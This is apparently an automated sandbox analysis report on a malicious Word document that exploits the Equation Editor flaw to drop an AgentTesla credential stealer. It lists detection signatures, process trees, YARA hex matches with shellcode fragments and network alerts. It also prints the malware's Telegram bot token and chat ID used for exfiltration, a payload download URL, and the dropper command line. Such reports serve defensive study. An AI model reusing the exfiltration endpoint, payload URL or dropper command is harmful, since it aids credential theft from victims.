Edit tour

Windows Analysis Report
ICPO07082299976.doc

Overview

General Information

Sample Name:	ICPO07082299976.doc
Analysis ID:	680478
MD5:	088e55da11e301419586a37204f3a51c
SHA1:	605322507a7fcde98442a58a10833de83e5025e5
SHA256:	976993901c2dd38d833124be95073dca9af3466423c5de6b675bbcc7a8d5e4f6
Tags:	doc
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (drops PE files)

Yara detected AgentTesla

Document contains OLE streams which likely are hidden ActiveX objects

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Telegram RAT

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Tries to steal Mail credentials (via file / registry access)

Document contains OLE streams with names of living off the land binaries

Uses the Telegram API (likely for C&C communication)

Allocates memory in foreign processes

Found potential equation exploit (CVE-2017-11882)

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Document exploit detected (process start blacklist hit)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Installs a global keyboard hook

Office process drops PE file

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Document contains OLE streams with PE executables

Yara detected Generic Downloader

Machine Learning detection for dropped file

Found suspicious RTF objects

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Document misses a certain OLE stream usually present in this Microsoft Office document type

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Checks if the current process is being debugged

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Stores large binary data to the registry

Yara detected Credential Stealer

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Document contains Microsoft Equation 3.0 OLE entries

Enables debug privileges

Office Equation Editor has been started

Creates a window with clipboard capturing capabilities

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs HTTP gets)

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 1516 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

Client.exe (PID: 1952 cmdline: "C:\Users\user\AppData\Local\Temp\Client.exe" MD5: 7E2FF60FD955B39768565DFE645E49C0)

RegSvcs.exe (PID: 1152 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 62CE5EF995FD63A1847A196C2E8B267B)

EQNEDT32.EXE (PID: 2612 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

EQNEDT32.EXE (PID: 2024 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cmd.exe (PID: 1964 cmdline: cmd.exe /c%tmp%\Client.exe A C MD5: AD7B9C14083B52BC532FBA5948342B98)

Client.exe (PID: 2348 cmdline: C:\Users\user\AppData\Local\Temp\Client.exe A C MD5: 7E2FF60FD955B39768565DFE645E49C0)

RegSvcs.exe (PID: 2656 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 62CE5EF995FD63A1847A196C2E8B267B)

EQNEDT32.EXE (PID: 2164 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

EQNEDT32.EXE (PID: 1136 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cmd.exe (PID: 2244 cmdline: cmd.exe /c%tmp%\Client.exe A C MD5: AD7B9C14083B52BC532FBA5948342B98)

Client.exe (PID: 1920 cmdline: C:\Users\user\AppData\Local\Temp\Client.exe A C MD5: 7E2FF60FD955B39768565DFE645E49C0)

RegSvcs.exe (PID: 2176 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 62CE5EF995FD63A1847A196C2E8B267B)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Chat id": "-624834641", "Chat URL": "https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ICPO07082299976.doc	MAL_RTF_Embedded_OLE_PE	Detects a suspicious string often used in PE files in a hex encoded object stream	Florian Roth	0x25a:$a1: 546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465 0x14a:$a3: 433a5c66616b65706174685c 0x188:$a3: 433a5c66616b65706174685c 0x1be:$m1: 4d5a90000300000004000000ffff
ICPO07082299976.doc	rtf_CVE_2018_0802	Attempts to exploit CVE-2018-0802	Rich Warren	0x42e6:$equation: 45 71 75 61 74 69 6F 6E 2E 33 0x652c:$equation: 45 71 75 61 74 69 6F 6E 2E 33 0x5d0b:$header_and_shellcode: 030100030A0A08000133C0508D44245250EB7F636d642e657865202f6325746d70255c436c69656e742e6578652020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202026908B44242C662D51A8FFE02500
ICPO07082299976.doc	rtf_cve2017_11882	Attempts to identify the exploit CVE 2017 11882	John Davison	0x7799:$headers: 31 63 30 30 30 30 30 30 30 32 30 30 39 65 63 34 61 39 30 30 30 30 30 30 30 30 30 30 30 30 30 30 63 38 61 37 35 63 30 30 63 34 65 65 35 62 30 30 30 30 30 30 30 30 30 30 30 33 30 31 30 31 30 33 ... 0x77db:$font: 30 61 30 31 30 38 35 61 35 61 0x783d:$winexec: 31 32 30 63 34 33 30 30
ICPO07082299976.doc	packager_cve2017_11882	Attempts to exploit CVE-2017-11882 using Packager	Rich Warren	0x77db:$font: 30 61 30 31 30 38 35 61 35 61 0x42e6:$equation: 45 71 75 61 74 69 6F 6E 2E 33 0x652c:$equation: 45 71 75 61 74 69 6F 6E 2E 33 0xdc:$package: 50 61 63 6B 61 67 65 0x77d1:$header_and_shellcode: 030101030a0a01085a5a636d642e657865202f6325746d70255c436c69656e742e657865202020202020202020202020202020202041120c4300
ICPO07082299976.doc	CVE_2017_11882_RTF	Detects suspicious Microsoft Equation OLE contents as used in CVE-2017-11882	Florian Roth	0x7659:$s1: 4d6963726f736f6674204571756174696f6e20332e30 0x7999:$s2: 4500710075006100740069006f006e0020004e00610074006900760065

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x46819:$a13: get_DnsResolver 0x95e8d:$a13: get_DnsResolver 0xe0b4e:$a13: get_DnsResolver 0x44ea7:$a20: get_LastAccessed 0x9451b:$a20: get_LastAccessed 0xdf1dc:$a20: get_LastAccessed 0x4724e:$a27: set_InternalServerPort 0x968c2:$a27: set_InternalServerPort 0xe1537:$a27: set_InternalServerPort 0x44fae:$a33: get_Clipboard 0x94622:$a33: get_Clipboard 0xdf2e3:$a33: get_Clipboard 0x44fbc:$a34: get_Keyboard 0x94630:$a34: get_Keyboard 0xdf2f1:$a34: get_Keyboard 0x463f7:$a35: get_ShiftKeyDown 0x95a6b:$a35: get_ShiftKeyDown 0xe06e0:$a35: get_ShiftKeyDown 0x46408:$a36: get_AltKeyDown 0x95a7c:$a36: get_AltKeyDown 0xe06f1:$a36: get_AltKeyDown

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp	EXP_potential_CVE_2017_11882	unknown	ReversingLabs	0x0:$docfilemagic: D0 CF 11 E0 A1 B1 1A E1 0x6680:$equation1: Equation Native 0x6b80:$equation1: Equation Native 0x920:$equation2: Microsoft Equation 3.0 0x31a0:$equation2: Microsoft Equation 3.0 0x34e0:$equation2: Microsoft Equation 3.0 0x68e0:$equation2: Microsoft Equation 3.0 0x306f:$cmd: cmd 0x34af:$cmd: cmd 0xc0c:$exe: .exe 0xc23:$exe: .exe 0xc58:$exe: .exe 0x14f8:$exe: .exe 0x3072:$exe: .exe 0x3085:$exe: .exe 0x34b2:$exe: .exe 0x35e9:$exe: .exe 0x35fc:$exe: .exe 0x3bc5:$exe: .exe 0x420c:$exe: .exe 0x4223:$exe: .exe

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.1003248820.00000000020EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.986609163.0000000002390000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x206f0:$a13: get_DnsResolver 0x1ef0e:$a20: get_LastAccessed 0x2104d:$a27: set_InternalServerPort 0x21399:$a30: set_GuidMasterKey 0x1f015:$a33: get_Clipboard 0x1f023:$a34: get_Keyboard 0x202f4:$a35: get_ShiftKeyDown 0x20305:$a36: get_AltKeyDown 0x1f030:$a37: get_Password 0x1faa4:$a38: get_PasswordHash 0x20acf:$a39: get_DefaultCredentials
00000015.00000002.1193449278.00000000022DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x30710:$a13: get_DnsResolver 0x64930:$a13: get_DnsResolver 0x2ef4e:$a20: get_LastAccessed 0x6316e:$a20: get_LastAccessed 0x3106d:$a27: set_InternalServerPort 0x6528d:$a27: set_InternalServerPort 0x313b9:$a30: set_GuidMasterKey 0x655d9:$a30: set_GuidMasterKey 0x2f055:$a33: get_Clipboard 0x63275:$a33: get_Clipboard 0x2f063:$a34: get_Keyboard 0x63283:$a34: get_Keyboard 0x30334:$a35: get_ShiftKeyDown 0x64554:$a35: get_ShiftKeyDown 0x30345:$a36: get_AltKeyDown 0x64565:$a36: get_AltKeyDown 0x2f070:$a37: get_Password 0x63290:$a37: get_Password 0x2fae4:$a38: get_PasswordHash 0x63d04:$a38: get_PasswordHash 0x30aef:$a39: get_DefaultCredentials
0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x30000:$a13: get_DnsResolver 0x2e83e:$a20: get_LastAccessed 0x3095d:$a27: set_InternalServerPort 0x30ca9:$a30: set_GuidMasterKey 0x2e945:$a33: get_Clipboard 0x2e953:$a34: get_Keyboard 0x2fc24:$a35: get_ShiftKeyDown 0x2fc35:$a36: get_AltKeyDown 0x2e960:$a37: get_Password 0x2f3d4:$a38: get_PasswordHash 0x303df:$a39: get_DefaultCredentials
Process Memory Space: Client.exe PID: 2348	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Client.exe PID: 2348	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0xa29c3:$a13: get_DnsResolver 0xabbd9:$a13: get_DnsResolver 0x9fa66:$a20: get_LastAccessed 0xaa677:$a20: get_LastAccessed 0xa32cf:$a27: set_InternalServerPort 0xac4e5:$a27: set_InternalServerPort 0xa3561:$a30: set_GuidMasterKey 0xac777:$a30: set_GuidMasterKey 0x9fb59:$a33: get_Clipboard 0xaa76a:$a33: get_Clipboard 0x9fb67:$a34: get_Keyboard 0xaa778:$a34: get_Keyboard 0xa0c8b:$a35: get_ShiftKeyDown 0xab89c:$a35: get_ShiftKeyDown 0xa0c9c:$a36: get_AltKeyDown 0xab8ad:$a36: get_AltKeyDown 0x9fb74:$a37: get_Password 0xaa785:$a37: get_Password 0xa0544:$a38: get_PasswordHash 0xab155:$a38: get_PasswordHash 0xa2d76:$a39: get_DefaultCredentials
Process Memory Space: RegSvcs.exe PID: 2656	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 2656	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 2656	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 2656	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x7010f:$a13: get_DnsResolver 0x6ebad:$a20: get_LastAccessed 0x70a1b:$a27: set_InternalServerPort 0x70cad:$a30: set_GuidMasterKey 0x6eca0:$a33: get_Clipboard 0x6ecae:$a34: get_Keyboard 0x6fdd2:$a35: get_ShiftKeyDown 0x6fde3:$a36: get_AltKeyDown 0x6ecbb:$a37: get_Password 0x6f68b:$a38: get_PasswordHash 0x704c2:$a39: get_DefaultCredentials
Process Memory Space: RegSvcs.exe PID: 1152	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 1152	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 1152	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 2176	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 2176	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 2176	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.Client.exe.3169510.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.Client.exe.3169510.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
9.2.Client.exe.3169510.3.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x30d41:$s10: logins 0x307ae:$s11: credential 0x2cd45:$g1: get_Clipboard 0x2cd53:$g2: get_Keyboard 0x2cd60:$g3: get_Password 0x2e014:$g4: get_CtrlKeyDown 0x2e024:$g5: get_ShiftKeyDown 0x2e035:$g6: get_AltKeyDown
9.2.Client.exe.3169510.3.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x2e400:$a13: get_DnsResolver 0x2cc3e:$a20: get_LastAccessed 0x2ed5d:$a27: set_InternalServerPort 0x2f0a9:$a30: set_GuidMasterKey 0x2cd45:$a33: get_Clipboard 0x2cd53:$a34: get_Keyboard 0x2e024:$a35: get_ShiftKeyDown 0x2e035:$a36: get_AltKeyDown 0x2cd60:$a37: get_Password 0x2d7d4:$a38: get_PasswordHash 0x2e7df:$a39: get_DefaultCredentials
10.0.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.0.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
10.0.RegSvcs.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.0.RegSvcs.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32b41:$s10: logins 0x325ae:$s11: credential 0x2eb45:$g1: get_Clipboard 0x2eb53:$g2: get_Keyboard 0x2eb60:$g3: get_Password 0x2fe14:$g4: get_CtrlKeyDown 0x2fe24:$g5: get_ShiftKeyDown 0x2fe35:$g6: get_AltKeyDown
10.0.RegSvcs.exe.400000.0.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x30200:$a13: get_DnsResolver 0x2ea3e:$a20: get_LastAccessed 0x30b5d:$a27: set_InternalServerPort 0x30ea9:$a30: set_GuidMasterKey 0x2eb45:$a33: get_Clipboard 0x2eb53:$a34: get_Keyboard 0x2fe24:$a35: get_ShiftKeyDown 0x2fe35:$a36: get_AltKeyDown 0x2eb60:$a37: get_Password 0x2f5d4:$a38: get_PasswordHash 0x305df:$a39: get_DefaultCredentials
9.2.Client.exe.3169510.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.Client.exe.3169510.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
9.2.Client.exe.3169510.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.Client.exe.3169510.3.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32b41:$s10: logins 0x66d61:$s10: logins 0x325ae:$s11: credential 0x667ce:$s11: credential 0x2eb45:$g1: get_Clipboard 0x62d65:$g1: get_Clipboard 0x2eb53:$g2: get_Keyboard 0x62d73:$g2: get_Keyboard 0x2eb60:$g3: get_Password 0x62d80:$g3: get_Password 0x2fe14:$g4: get_CtrlKeyDown 0x64034:$g4: get_CtrlKeyDown 0x2fe24:$g5: get_ShiftKeyDown 0x64044:$g5: get_ShiftKeyDown 0x2fe35:$g6: get_AltKeyDown 0x64055:$g6: get_AltKeyDown
9.2.Client.exe.3169510.3.raw.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x30200:$a13: get_DnsResolver 0x64420:$a13: get_DnsResolver 0x2ea3e:$a20: get_LastAccessed 0x62c5e:$a20: get_LastAccessed 0x30b5d:$a27: set_InternalServerPort 0x64d7d:$a27: set_InternalServerPort 0x30ea9:$a30: set_GuidMasterKey 0x650c9:$a30: set_GuidMasterKey 0x2eb45:$a33: get_Clipboard 0x62d65:$a33: get_Clipboard 0x2eb53:$a34: get_Keyboard 0x62d73:$a34: get_Keyboard 0x2fe24:$a35: get_ShiftKeyDown 0x64044:$a35: get_ShiftKeyDown 0x2fe35:$a36: get_AltKeyDown 0x64055:$a36: get_AltKeyDown 0x2eb60:$a37: get_Password 0x62d80:$a37: get_Password 0x2f5d4:$a38: get_PasswordHash 0x637f4:$a38: get_PasswordHash 0x305df:$a39: get_DefaultCredentials
Click to see the 9 entries

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.22 - Destination IP: 149.154.167.220

Timestamp:	192.168.2.22149.154.167.220491824432851779 08/08/22-17:18:57.172404
SID:	2851779
Source Port:	49182
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.22 - Destination IP: 149.154.167.220

Timestamp:	192.168.2.22149.154.167.220491754432851779 08/08/22-17:18:22.152203
SID:	2851779
Source Port:	49175
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://109.206.241.81/htdocs/eZYWw.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp	Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Avira: detection malicious, Label: HEUR/AGEN.1251478

Multi AV Scanner detection for submitted file

Source: ICPO07082299976.doc

ReversingLabs: Detection: 73%

Antivirus / Scanner detection for submitted sample

Source: ICPO07082299976.doc

Avira: detected

Multi AV Scanner detection for domain / URL

Source: http://109.206.241.81/htdocs/eZYWw.exe

Virustotal: Detection: 15%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Client.exe

ReversingLabs: Detection: 19%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Client.exe

Joe Sandbox ML: detected

Source: 10.0.RegSvcs.exe.400000.0.unpack

Avira: Label: TR/Spy.Gen8

Source: 10.0.RegSvcs.exe.400000.0.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Chat id": "-624834641", "Chat URL": "https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument"}
Source: RegSvcs.exe.2656.10.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendMessage"}

Exploits

Found potential equation exploit (CVE-2017-11882)

Source:	Static RTF information: Object: 1 Offset: 00004308h
Source:	Static RTF information: Object: 2 Offset: 0000654Eh

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\cmd.exe

Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	Stream path '_1721484246/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr	Stream path '_1721484254/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.22:49173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.22:49177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.22:49179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49182 version: TLS 1.2

Source:	Binary string: C:\Users\user\Desktop\RealProxyFlagsBadSignature.pdb source: Client.exe, 00000009.00000002.928225350.0000000000530000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: c:\Users\Administrator\AppData\Local\Temp\2\Microsoft.CodeAnalysis.Orchestrator.RunnableProjects.Localization.pdb source: Client.exe, 00000009.00000000.911511848.0000000000AC2000.00000020.00000001.01000000.00000003.sdmp, Client.exe, 0000000C.00000000.973051510.0000000001233000.00000020.00000001.01000000.00000003.sdmp, ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr, Client.exe.0.dr
Source:	Binary string: C:\Users\user\Desktop\RealProxyFlagsBadSignature.pdbd source: Client.exe, 00000009.00000002.928225350.0000000000530000.00000004.08000000.00040000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: Client.exe.0.dr

Jump to dropped file

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\Client.exe

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Users\user\AppData\Local\Temp\Client.exe

Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 162.159.134.233:443 -> 192.168.2.22:49173
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 162.159.134.233:443
